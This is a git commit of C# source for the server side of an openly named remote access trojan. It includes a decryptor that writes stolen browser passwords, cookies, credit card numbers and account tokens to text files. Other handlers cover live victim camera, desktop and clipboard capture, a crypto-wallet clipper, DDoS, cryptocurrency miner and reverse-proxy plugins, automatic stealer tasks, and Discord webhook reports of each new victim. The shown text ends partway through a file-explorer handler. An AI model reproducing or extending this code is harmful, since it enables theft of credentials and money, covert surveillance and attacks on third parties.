initial commit

This commit is contained in:
i2p
2026-08-27 11:21:58 -06:00
commit c21fb61050
336 changed files with 74161 additions and 0 deletions
+163
View File
@@ -0,0 +1,163 @@
using System;
using System.IO;
using System.Text;
using Leb128;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Parameters;
namespace Server.Messages;
internal class DecryptorBrowsers
{
private const int macBitSize = 128;
private const int nonceBitSize = 96;
public static void Start(string log)
{
if (Directory.Exists(Path.Combine(log, "Browsers")))
{
string[] directories = Directory.GetDirectories(Path.Combine(log, "Browsers"));
foreach (string text in directories)
{
string path = Path.Combine(text, "MasterKey.bin");
if (File.Exists(path))
{
byte[] key = File.ReadAllBytes(path);
string[] directories2 = Directory.GetDirectories(text);
foreach (string profile in directories2)
{
DecryptPassword(profile, key);
DecryptCookie(profile, key);
DecryptCreditCard(profile, key);
DecryptTokenRestore(profile, key);
}
File.Delete(path);
}
}
}
if (Directory.Exists(Path.Combine(log, "Gaming", "Riot")))
{
string path2 = Path.Combine(log, "Gaming", "Riot", "MasterKey.bin");
if (File.Exists(path2))
{
byte[] key2 = File.ReadAllBytes(path2);
DecryptCookie(Path.Combine(log, "Gaming", "Riot"), key2);
}
}
}
public static void DecryptPassword(string profile, byte[] key)
{
string path = Path.Combine(profile, "EncryptPassword.bin");
if (!File.Exists(path))
{
return;
}
object[] array = LEB128.Read(File.ReadAllBytes(path));
foreach (object obj in array)
{
try
{
object[] array2 = (object[])obj;
if (!string.IsNullOrEmpty((string)array2[0]) && !string.IsNullOrEmpty((string)array2[1]))
{
string @string = Encoding.UTF8.GetString(DecryptValue((byte[])array2[2], key));
File.AppendAllText(Path.Combine(profile, "Password.txt"), "Host: " + (string)array2[0] + "\nUsername: " + (string)array2[1] + "\nPassword: " + @string + "\n\n");
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
File.Delete(path);
}
public static void DecryptCookie(string profile, byte[] key)
{
string path = Path.Combine(profile, "EncryptCookie.bin");
if (!File.Exists(path))
{
return;
}
object[] array = LEB128.Read(File.ReadAllBytes(path));
foreach (object obj in array)
{
try
{
object[] array2 = (object[])obj;
string @string = Encoding.UTF8.GetString(DecryptValue((byte[])array2[4], key));
File.AppendAllText(Path.Combine(profile, "Cookie.txt"), (string)array2[0] + "\tTRUE\t" + (string)array2[1] + "\tFALSE\t" + (string)array2[2] + "\t" + (string)array2[3] + "\t" + @string + "\r\n");
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
File.Delete(path);
}
public static void DecryptCreditCard(string profile, byte[] key)
{
string path = Path.Combine(profile, "EncryptCreditCard.bin");
if (!File.Exists(path))
{
return;
}
object[] array = LEB128.Read(File.ReadAllBytes(path));
foreach (object obj in array)
{
try
{
object[] array2 = (object[])obj;
string @string = Encoding.UTF8.GetString(DecryptValue((byte[])array2[0], key));
File.AppendAllText(Path.Combine(profile, "CreditCard.txt"), "Number: " + @string + "\nExp: " + (string)array2[1] + "/" + (string)array2[2] + "\nHolder: " + (string)array2[3] + "\n\n");
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
File.Delete(path);
}
public static void DecryptTokenRestore(string profile, byte[] key)
{
string path = Path.Combine(profile, "EncryptTokenRestore.bin");
if (!File.Exists(path))
{
return;
}
object[] array = LEB128.Read(File.ReadAllBytes(path));
foreach (object obj in array)
{
try
{
object[] array2 = (object[])obj;
string @string = Encoding.UTF8.GetString(DecryptValue((byte[])array2[1], key));
File.AppendAllText(Path.Combine(profile, "TokenRestore.txt"), "AccountId: " + (string)array2[0] + "\nToken: " + @string + "\n\n");
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
File.Delete(path);
}
public static byte[] DecryptValue(byte[] encryptedData, byte[] bMasterKey)
{
GcmBlockCipher gcmBlockCipher = new GcmBlockCipher(new AesEngine());
BinaryReader binaryReader = new BinaryReader(new MemoryStream(encryptedData));
binaryReader.ReadBytes(3);
AeadParameters parameters = new AeadParameters(nonce: binaryReader.ReadBytes(12), key: new KeyParameter(bMasterKey), macSize: 128);
gcmBlockCipher.Init(forEncryption: false, parameters);
byte[] array = binaryReader.ReadBytes(encryptedData.Length);
byte[] array2 = new byte[gcmBlockCipher.GetOutputSize(array.Length)];
int outOff = gcmBlockCipher.ProcessBytes(array, 0, array.Length, array2, 0);
gcmBlockCipher.DoFinal(array2, outOff);
return array2;
}
}
+142
View File
@@ -0,0 +1,142 @@
using System.Collections;
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerAutoRun
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormAutoRun form2 = (FormAutoRun)Application.OpenForms["AutoRun:" + (string)objects[2]];
if (form2 == null)
{
client.Disconnect();
break;
}
form2.Invoke((MethodInvoker)delegate
{
form2.Text = "AutoRun [" + (string)objects[2] + "]";
form2.client = client;
form2.materialLabel1.Enabled = true;
form2.dataGridView2.Enabled = true;
form2.materialLabel1.Text = "Succues Connect";
});
client.Tag = form2;
client.Hwid = (string)objects[2];
break;
}
case "Error":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormAutoRun form5 = (FormAutoRun)client.Tag;
form5.Invoke((MethodInvoker)delegate
{
form5.materialLabel1.Text = "Error: " + (string)objects[2];
});
break;
}
case "List":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormAutoRun form3 = (FormAutoRun)client.Tag;
form3.Invoke((MethodInvoker)delegate
{
form3.dataGridView2.Rows.Clear();
form3.materialLabel1.Text = "Succues auto runs";
int num = 2;
while (num < objects.Length)
{
DataGridViewRow dataGridViewRow2 = new DataGridViewRow
{
Cells =
{
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
}
}
};
form3.dataGridView2.Rows.Add(dataGridViewRow2);
}
});
break;
}
case "Set":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormAutoRun form4 = (FormAutoRun)client.Tag;
form4.Invoke((MethodInvoker)delegate
{
form4.materialLabel1.Text = "Succues Set auto run";
DataGridViewRow dataGridViewRow3 = new DataGridViewRow
{
Cells =
{
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[2]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[3]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[4]
}
}
};
form4.dataGridView2.Rows.Add(dataGridViewRow3);
});
break;
}
case "Remove":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormAutoRun form = (FormAutoRun)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.materialLabel1.Text = "Succues Remove auto run";
foreach (DataGridViewRow item in (IEnumerable)form.dataGridView2.Rows)
{
if ((string)item.Cells[0].Value + ";" + (string)item.Cells[1].Value == (string)objects[2])
{
form.dataGridView2.Rows.Remove(item);
}
}
});
break;
}
}
}
}
+58
View File
@@ -0,0 +1,58 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerBotSpeaker
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (!(text == "Connect"))
{
if (!(text == "List"))
{
return;
}
if (client.Tag == null)
{
client.Disconnect();
return;
}
FormSpeakerBot form = (FormSpeakerBot)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.rjComboBox1.Items.Clear();
int num = 2;
while (num < objects.Length)
{
form.rjComboBox1.Items.Add((string)objects[num++]);
}
if (form.rjComboBox1.Items.Count > 0)
{
form.rjComboBox1.SelectedIndex = 0;
}
});
return;
}
FormSpeakerBot form2 = (FormSpeakerBot)Application.OpenForms["BotSpeaker:" + (string)objects[2]];
if (form2 == null)
{
client.Disconnect();
return;
}
form2.Invoke((MethodInvoker)delegate
{
form2.Text = "Speaker Bot [" + (string)objects[2] + "]";
form2.client = client;
form2.richTextBox1.Enabled = true;
form2.rjComboBox1.Enabled = true;
form2.trackBar1.Enabled = true;
form2.trackBar2.Enabled = true;
form2.rjButton1.Enabled = true;
});
client.Tag = form2;
client.Hwid = (string)objects[2];
}
}
+64
View File
@@ -0,0 +1,64 @@
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
using Server.Helper;
namespace Server.Messages;
internal class HandlerCamera
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (!(text == "Connect"))
{
if (!(text == "Image"))
{
return;
}
FormCamera form = (FormCamera)client.Tag;
if (form == null)
{
client.Disconnect();
return;
}
Bitmap bitmap = Methods.ByteArrayToBitmap((byte[])objects[2]);
form.FPS++;
if (form.sw.ElapsedMilliseconds >= 1000)
{
form.Text = $"Camera [{client.Hwid}] Fps[{form.FPS}] Data[{Methods.BytesToString(((byte[])objects[2]).Length)}] Size[{bitmap.Width}x{bitmap.Height}]";
form.FPS = 0;
form.sw = Stopwatch.StartNew();
}
form.pictureBox1.Invoke((MethodInvoker)delegate
{
form.pictureBox1.Image = bitmap;
});
return;
}
FormCamera form2 = (FormCamera)Application.OpenForms["Camera:" + (string)objects[2]];
if (form2 == null)
{
client.Disconnect();
return;
}
form2.Invoke((MethodInvoker)delegate
{
form2.client = client;
form2.Text = "Camera [" + (string)objects[2] + "]";
string[] array = ((string)objects[3]).Split(',');
foreach (string item in array)
{
form2.rjComboBox1.Items.Add(item);
}
form2.rjComboBox1.SelectedIndex = 0;
form2.materialSwitch1.Enabled = true;
form2.rjComboBox1.Enabled = true;
form2.numericUpDown2.Enabled = true;
});
client.Tag = form2;
client.Hwid = (string)objects[2];
}
}
+48
View File
@@ -0,0 +1,48 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerChat
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (!(text == "Connect"))
{
if (!(text == "Message"))
{
return;
}
if (client.Tag == null)
{
client.Disconnect();
return;
}
FormChat form = (FormChat)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.richTextBox1.Text += (string)objects[2];
form.richTextBox1.SelectionStart = form.richTextBox1.Text.Length;
form.richTextBox1.ScrollToCaret();
});
return;
}
FormChat form2 = (FormChat)Application.OpenForms["Chat:" + (string)objects[2]];
if (form2 == null)
{
client.Disconnect();
return;
}
form2.Invoke((MethodInvoker)delegate
{
form2.Text = "Chat [" + (string)objects[2] + "]";
form2.client = client;
form2.richTextBox1.Enabled = true;
form2.rjTextBox1.Enabled = true;
});
client.Tag = form2;
client.Hwid = (string)objects[2];
}
}
+64
View File
@@ -0,0 +1,64 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerClipboard
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormClipboard form3 = (FormClipboard)Application.OpenForms["Clipboard:" + (string)objects[2]];
if (form3 == null)
{
client.Disconnect();
break;
}
form3.Invoke((MethodInvoker)delegate
{
form3.Text = "Clipboard [" + (string)objects[2] + "]";
form3.client = client;
form3.richTextBox1.Enabled = true;
form3.rjButton1.Enabled = true;
form3.rjButton2.Enabled = true;
form3.rjButton3.Enabled = true;
});
client.Tag = form3;
client.Hwid = (string)objects[2];
break;
}
case "Error":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormClipboard form2 = (FormClipboard)client.Tag;
form2.Invoke((MethodInvoker)delegate
{
form2.richTextBox1.Text = "Error: " + (string)objects[2] + "\n";
});
break;
}
case "Get":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormClipboard form = (FormClipboard)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.richTextBox1.Text = (string)objects[2];
});
break;
}
}
}
}
+71
View File
@@ -0,0 +1,71 @@
using System.Collections.Generic;
using System.Windows.Forms;
using Server.Connectings;
namespace Server.Messages;
internal class HandlerClipper
{
public static void Read(Clients clients, object[] array)
{
string text = (string)array[1];
if (!(text == "Connect"))
{
if (!(text == "Log"))
{
return;
}
if (Program.form.Clipper.work)
{
DataGridViewRow dataGridViewRow = new DataGridViewRow();
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
{
Value = clients.Hwid
});
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)array[2]
});
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)array[3]
});
Program.form.Clipper.Invoke((MethodInvoker)delegate
{
Program.form.Clipper.GridLog.Rows.Add(dataGridViewRow);
});
}
else
{
clients.Disconnect();
}
}
else if (Program.form.Clipper.work)
{
clients.Hwid = (string)array[2];
clients.eventDisconnect += delegate
{
Program.form.Clipper.Invoke((MethodInvoker)delegate
{
Program.form.Clipper.clients.Remove(clients);
});
};
Program.form.Clipper.Invoke((MethodInvoker)delegate
{
Program.form.Clipper.clients.Add(clients);
});
if (Program.form.Clipper.materialSwitch7.Checked)
{
clients.Send(new object[2]
{
"Start",
string.Join(",", (IEnumerable<string>)Program.form.Clipper.CryptoWallet)
});
}
}
else
{
clients.Disconnect();
}
}
}
+281
View File
@@ -0,0 +1,281 @@
// --- ÍÀ×ÀËÎ ÔÀÉËÀ HandlerConnect.cs ---
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using cGeoIp;
using Leb128;
using Server.Connectings;
using Server.Helper;
using Server.Helper.Tasks;
using System.Net;
using System.Collections.Concurrent;
using System.Threading;
namespace Server.Messages;
internal class HandlerConnect
{
public static cGeoMain cGeoMain = new cGeoMain();
// Using ConcurrentDictionary for thread-safe access to active HWIDs
private static ConcurrentDictionary<string, Clients> activeHwids = new ConcurrentDictionary<string, Clients>();
public static void Read(Clients client, object[] objects)
{
string clientHwid = (string)objects[3];
// 1. Stronger HWID Validation/Uniqueness
// If an HWID is already active, disconnect the old client or reject the new one.
// For a RAT, disconnecting the old client might be preferred to maintain control over the latest connection.
if (activeHwids.TryGetValue(clientHwid, out Clients existingClient))
{
if (existingClient != client) // Ensure it's not the same client reconnecting
{
Methods.AppendLogs(client.IP, $"Duplicate HWID detected: {clientHwid}. Disconnecting old client.", Color.Orange);
existingClient.Disconnect(); // Disconnect the old client
activeHwids.TryRemove(clientHwid, out _); // Remove old entry
}
}
// Add or update the active HWID with the current client
activeHwids.AddOrUpdate(clientHwid, client, (key, oldClient) => client);
// 2. Input Validation for all incoming 'objects' data
// Example: Validate string lengths to prevent excessively long data filling up UI/memory
for (int i = 0; i < objects.Length; i++)
{
if (objects[i] is string strValue)
{
// Truncate strings if they are too long (e.g., for display in DataGridView)
if (strValue.Length > 256) // Arbitrary limit, adjust as needed
{
objects[i] = strValue.Substring(0, 256) + "...";
}
}
else if (objects[i] is byte[] byteValue)
{
// Limit size of image data to prevent memory exhaustion
if (byteValue.Length > 1024 * 1024 * 2) // e.g., 2MB limit for image
{
Methods.AppendLogs(client.IP, "Received excessively large image data. Disconnecting client.", Color.Red);
client.Disconnect();
return;
}
}
}
DataGridViewRow RowClient = new DataGridViewRow();
RowClient.Tag = client;
RowClient.Height = Program.form.HeightColumn();
client.Tag = RowClient;
client.Hwid = clientHwid;
client.UserMachine = (string)objects[4];
using (MemoryStream stream = new MemoryStream((byte[])objects[1]))
{
RowClient.Cells.Add(new DataGridViewImageCell
{
Value = new Bitmap(stream),
ImageLayout = DataGridViewImageCellLayout.Stretch
});
}
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = client.IP
});
string text = "";
string text2 = "";
try
{
// ÈÑÏÐÀÂËÅÍÎ: Èñïîëüçîâàíèå ':' âìåñòî ":"
string[] array = cGeoMain.GetIpInf(client.IP).Split(':');
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = array[1]
});
text = array[1];
text2 = array[2];
}
catch
{
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = "Unknown"
});
}
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[2]
});
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = (File.Exists("Users\\" + objects[3]?.ToString() + "\\Note.txt") ? File.ReadAllText("Users\\" + objects[3]?.ToString() + "\\Note.txt") : "")
});
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[3]
});
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[4]
});
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[5]
});
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[6]
});
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[7]
});
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[8]
});
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[9]
});
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[10]
});
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[11]
});
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[12]
});
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = "0"
});
RowClient.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[13]
});
Program.form.GridClients.Invoke((MethodInvoker)delegate
{
Program.form.GridClients.Rows.Add(RowClient);
});
if (!Directory.Exists("Users\\" + (string)objects[3] + "\\Recovery"))
{
AutoTaskMgr.Stealer(client);
}
AutoTaskMgr.RunTasks(client);
if (Directory.Exists("Users\\" + (string)objects[3]))
{
Methods.AppendLogs("Client " + client.IP + " " + client.UserMachine + " " + client.Hwid, "Connect", Color.Green);
if (Program.form.settings.WebHookConnect && !string.IsNullOrEmpty(Program.form.settings.WebHook))
{
string mssgBody = "---------------------------------\r\nConnect new :comet: \r\n**IP: ** " + client.IP + "\r\n**Group:** " + (string)objects[2] + "\r\n**Country:** " + text + " :flag_" + text2.ToLower() + ": \r\n**Username:** " + (string)objects[4] + "\r\n**Hwid:** " + (string)objects[3] + "\r\n**Windows:** " + (string)objects[8] + "\r\n**Time Install:** " + (string)objects[11] + "\r\n**Privilege:** " + (string)objects[12] + "\r\n**Window:** " + (string)objects[13];
// ÈÑÏÐÀÂËÅÍÎ: Èñïîëüçîâàíèå ',' âìåñòî ","
string[] array2 = Program.form.settings.WebHook.Split(',');
foreach (string webhook in array2)
{
DiscordWebhook.Send(mssgBody, "Log U_U Log", webhook);
}
}
}
else
{
Methods.AppendLogs("Client " + client.IP + " " + client.UserMachine + " " + client.Hwid, "New Connect", Color.Green);
Directory.CreateDirectory("Users\\" + (string)objects[3]);
if (Program.form.settings.WebHookNewConnect && !string.IsNullOrEmpty(Program.form.settings.WebHook))
{
string mssgBody2 = "---------------------------------\r\nConnect :comet: \r\n**IP: ** " + client.IP + "\r\n**Group:** " + (string)objects[2] + "\r\n**Country:** " + text + " :flag_" + text2.ToLower() + ": \r\n**Username:** " + (string)objects[4] + "\r\n**Hwid:** " + (string)objects[3] + "\r\n**Windows:** " + (string)objects[8] + "\r\n**Time Install:** " + (string)objects[11] + "\r\n**Privilege:** " + (string)objects[12] + "\r\n**Window:** " + (string)objects[13];
// ÈÑÏÐÀÂËÅÍÎ: Èñïîëüçîâàíèå ',' âìåñòî ","
string[] array2 = Program.form.settings.WebHook.Split(',');
foreach (string webhook2 in array2)
{
DiscordWebhook.Send(mssgBody2, "Log U_U Log", webhook2);
}
}
}
List<string> list = new List<string>();
foreach (DataGridViewCell cell in RowClient.Cells)
{
if (cell.Value is string)
{
list.Add(cell.OwningColumn.Name.Replace("Column", "") + ": " + (string)cell.Value);
}
}
File.WriteAllText("Users\\" + (string)objects[3] + "\\Information.txt", string.Join("\n", (IEnumerable<string>)list.ToArray()));
if (Environment.UserName + " @ " + Environment.MachineName != (string)objects[4])
{
client.Send(new object[3]
{
"Invoke",
"leb",
new byte[1]
});
}
if (Program.form.MinerXMR.work)
{
string checksum = Methods.GetChecksum("Plugin\\MinerXMR.dll");
client.Send(new object[3]
{
"Invoke",
checksum,
new byte[1]
});
}
if (Program.form.MinerEtc.work)
{
string checksum2 = Methods.GetChecksum("Plugin\\MinerEtc.dll");
client.Send(new object[3]
{
"Invoke",
checksum2,
new byte[1]
});
}
if (Program.form.Clipper.work)
{
string checksum3 = Methods.GetChecksum("Plugin\\Clipper.dll");
client.Send(new object[3]
{
"Invoke",
checksum3,
new byte[1]
});
}
if (Program.form.DDos.work)
{
string checksum4 = Methods.GetChecksum("Plugin\\DDos.dll");
client.Send(new object[3]
{
"Invoke",
checksum4,
new byte[1]
});
}
if (Program.form.ReverseProxyR.work)
{
byte[] array3 = LEB128.Write(new object[2] { "Pack", "ReverseProxyR" });
string checksum5 = Methods.GetChecksum("Plugin\\ReverseProxy.dll");
client.Send(new object[3] { "Invoke", checksum5, array3 });
}
if (Program.form.ReverseProxyU.work)
{
byte[] array4 = LEB128.Write(new object[2] { "Pack", "ReverseProxyU" });
string checksum6 = Methods.GetChecksum("Plugin\\ReverseProxy.dll");
client.Send(new object[3] { "Invoke", checksum6, array4 });
}
// ÄÎÁÀÂËÅÍÍÀß ÑÒÐÎÊÀ: Óñòàíàâëèâàåì ôëàã ïîñëå óñïåøíîãî ðóêîïîæàòèÿ
client.HasCompletedHandshake = true;
}
// Method to remove HWID when a client disconnects
public static void RemoveActiveHwid(string hwid)
{
activeHwids.TryRemove(hwid, out _);
}
}
// --- ÊÎÍÅÖ ÔÀÉËÀ HandlerConnect.cs ---
+42
View File
@@ -0,0 +1,42 @@
using System.Windows.Forms;
using Server.Connectings;
namespace Server.Messages;
internal class HandlerDDos
{
public static void Read(Clients clients, object[] array)
{
if (!((string)array[1] == "Connect"))
{
return;
}
if (Program.form.DDos.work)
{
clients.Hwid = (string)array[2];
clients.eventDisconnect += delegate
{
Program.form.DDos.Invoke((MethodInvoker)delegate
{
Program.form.DDos.clients.Remove(clients);
});
};
Program.form.DDos.Invoke((MethodInvoker)delegate
{
Program.form.DDos.clients.Add(clients);
});
if (Program.form.DDos.materialSwitch7.Checked)
{
clients.Send(new object[2]
{
"Start",
Program.form.DDos.rjTextBox1.Texts
});
}
}
else
{
clients.Disconnect();
}
}
}
+61
View File
@@ -0,0 +1,61 @@
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
using Server.Helper;
namespace Server.Messages;
internal class HandlerDesktop
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (!(text == "Connect"))
{
if (!(text == "Screen"))
{
return;
}
FormDesktop form = (FormDesktop)client.Tag;
if (form == null)
{
client.Disconnect();
return;
}
Bitmap bitmap = Methods.ByteArrayToBitmap((byte[])objects[2]);
form.FPS++;
if (form.sw.ElapsedMilliseconds >= 1000)
{
form.Text = $"Desktop [{client.Hwid}] Fps[{form.FPS}] Data[{Methods.BytesToString(((byte[])objects[2]).Length)}] Size[{bitmap.Width}x{bitmap.Height}] Screen[{form.screen.Width}x{form.screen.Height}]";
form.FPS = 0;
form.sw = Stopwatch.StartNew();
}
form.pictureBox1.Invoke((MethodInvoker)delegate
{
form.pictureBox1.Image = bitmap;
});
return;
}
FormDesktop form2 = (FormDesktop)Application.OpenForms["Desktop:" + (string)objects[2]];
if (form2 == null)
{
client.Disconnect();
return;
}
form2.Invoke((MethodInvoker)delegate
{
form2.client = client;
form2.screen = new Size((int)objects[3], (int)objects[4]);
form2.Text = "Desktop [" + (string)objects[2] + "]";
form2.materialSwitch1.Enabled = true;
form2.materialSwitch2.Enabled = true;
form2.materialSwitch3.Enabled = true;
form2.materialSwitch4.Enabled = true;
form2.numericUpDown2.Enabled = true;
});
client.Tag = form2;
client.Hwid = (string)objects[2];
}
}
+114
View File
@@ -0,0 +1,114 @@
using System.Collections;
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerDeviceManager
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormDeviceManager form3 = (FormDeviceManager)Application.OpenForms["DeviceManager:" + (string)objects[2]];
if (form3 == null)
{
client.Disconnect();
break;
}
form3.Invoke((MethodInvoker)delegate
{
form3.Text = "Device Manager [" + (string)objects[2] + "]";
form3.client = client;
form3.materialLabel1.Enabled = true;
form3.dataGridView2.Enabled = true;
form3.materialLabel1.Text = "Succues Connect";
});
client.Tag = form3;
client.Hwid = (string)objects[2];
break;
}
case "Error":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormDeviceManager form2 = (FormDeviceManager)client.Tag;
form2.Invoke((MethodInvoker)delegate
{
form2.materialLabel1.Text = "Error: " + (string)objects[2];
});
break;
}
case "List":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormDeviceManager form4 = (FormDeviceManager)client.Tag;
form4.Invoke((MethodInvoker)delegate
{
form4.dataGridView2.Rows.Clear();
form4.materialLabel1.Text = "Succues list";
int num = 2;
while (num < objects.Length)
{
DataGridViewRow dataGridViewRow2 = new DataGridViewRow
{
Cells =
{
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
}
}
};
form4.dataGridView2.Rows.Add(dataGridViewRow2);
}
});
break;
}
case "Status":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormDeviceManager form = (FormDeviceManager)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.materialLabel1.Text = "Succues status";
foreach (DataGridViewRow item in (IEnumerable)form.dataGridView2.Rows)
{
if (item.Cells[0].Value as string == (string)objects[2])
{
item.Cells[2].Value = (string)objects[3];
break;
}
}
});
break;
}
}
}
}
+60
View File
@@ -0,0 +1,60 @@
using System;
using System.Drawing;
using Server.Connectings;
using Server.Helper;
using System.Collections.Concurrent;
using System.Threading;
namespace Server.Messages;
internal class HandlerError
{
private static ConcurrentDictionary<string, int> clientErrorCounts = new ConcurrentDictionary<string, int>();
private const int MAX_ERRORS_PER_CLIENT_PER_MINUTE = 50; // Allow 50 error messages per client per minute
static HandlerError()
{
// Start a timer to periodically reset error counts for all clients
// This timer runs every minute to reset the counts, implementing a sliding window for rate limiting.
Timer timer = new Timer((e) =>
{
// Decrement counts for all clients, remove if zero or less
foreach (var entry in clientErrorCounts.ToArray())
{
clientErrorCounts.AddOrUpdate(entry.Key, 0, (key, count) => Math.Max(0, count - (MAX_ERRORS_PER_CLIENT_PER_MINUTE / 60))); // Adjust decrement based on interval
if (clientErrorCounts[entry.Key] <= 0)
{
clientErrorCounts.TryRemove(entry.Key, out _);
}
}
}, null, TimeSpan.FromSeconds(1), TimeSpan.FromSeconds(1)); // Run every second for more granular control
}
public static void Read(Clients client, object[] objects)
{
string clientHwid = client.Hwid; // Use HWID for client identification
// Increment error count for the client
clientErrorCounts.AddOrUpdate(clientHwid, 1, (key, count) => count + 1);
// Check if client exceeded error message limit
if (clientErrorCounts[clientHwid] > MAX_ERRORS_PER_CLIENT_PER_MINUTE)
{
// Instead of disconnecting, just ignore the excessive error messages
Methods.AppendLogs(client.IP, $"Ignoring excessive error messages from {client.IP} ({clientHwid}). Rate limit exceeded.", Color.Orange);
return; // Do not process this error message further
}
string errorMessage = (string)objects[1];
// Sanitize and truncate error message to prevent excessively long logs
if (errorMessage.Length > 500) // Limit message length to 500 characters
{
errorMessage = errorMessage.Substring(0, 500) + "...";
}
Console.WriteLine("Error: " + errorMessage);
Methods.AppendLogs(client.IP, "Error: " + errorMessage, Color.Red);
}
}
+480
View File
@@ -0,0 +1,480 @@
using System.Collections;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using Leb128;
using Server.Connectings;
using Server.Forms;
using Server.Helper;
namespace Server.Messages;
internal class HandlerExplorer
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (text == null)
{
return;
}
switch (text.Length)
{
case 7:
switch (text[0])
{
case 'C':
{
if (!(text == "Connect"))
{
break;
}
FormExplorer form2 = (FormExplorer)Application.OpenForms["Explorer:" + (string)objects[2]];
if (form2 == null)
{
client.Disconnect();
break;
}
form2.Invoke((MethodInvoker)delegate
{
form2.Text = "Explorer [" + (string)objects[2] + "]";
form2.client = client;
form2.materialLabel1.Text = "Succues Connect";
string[] array = ((string)objects[3]).Split(',');
foreach (string value in array)
{
DataGridViewRow dataGridViewRow2 = new DataGridViewRow
{
Cells =
{
(DataGridViewCell)new DataGridViewImageCell
{
Value = form2.imageList1.Images["folder.png"]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = value
}
}
};
form2.dataGridView3.Rows.Add(dataGridViewRow2);
}
array = ((string)objects[4]).Split(',');
foreach (string text2 in array)
{
string value2 = text2.Split(';')[0];
string obj = text2.Split(';')[1];
DataGridViewRow dataGridViewRow3 = new DataGridViewRow();
if (obj == "Drive")
{
dataGridViewRow3.Cells.Add(new DataGridViewImageCell
{
Value = form2.imageList1.Images["hard-disk.png"]
});
}
else
{
dataGridViewRow3.Cells.Add(new DataGridViewImageCell
{
Value = form2.imageList1.Images["usb-drive.png"]
});
}
dataGridViewRow3.Cells.Add(new DataGridViewTextBoxCell
{
Value = value2
});
form2.dataGridView1.Rows.Add(dataGridViewRow3);
}
form2.dataGridView1.Enabled = true;
form2.dataGridView2.Enabled = true;
form2.dataGridView3.Enabled = true;
});
client.Tag = form2;
client.Hwid = (string)objects[2];
break;
}
case 'D':
{
if (!(text == "Deleted"))
{
break;
}
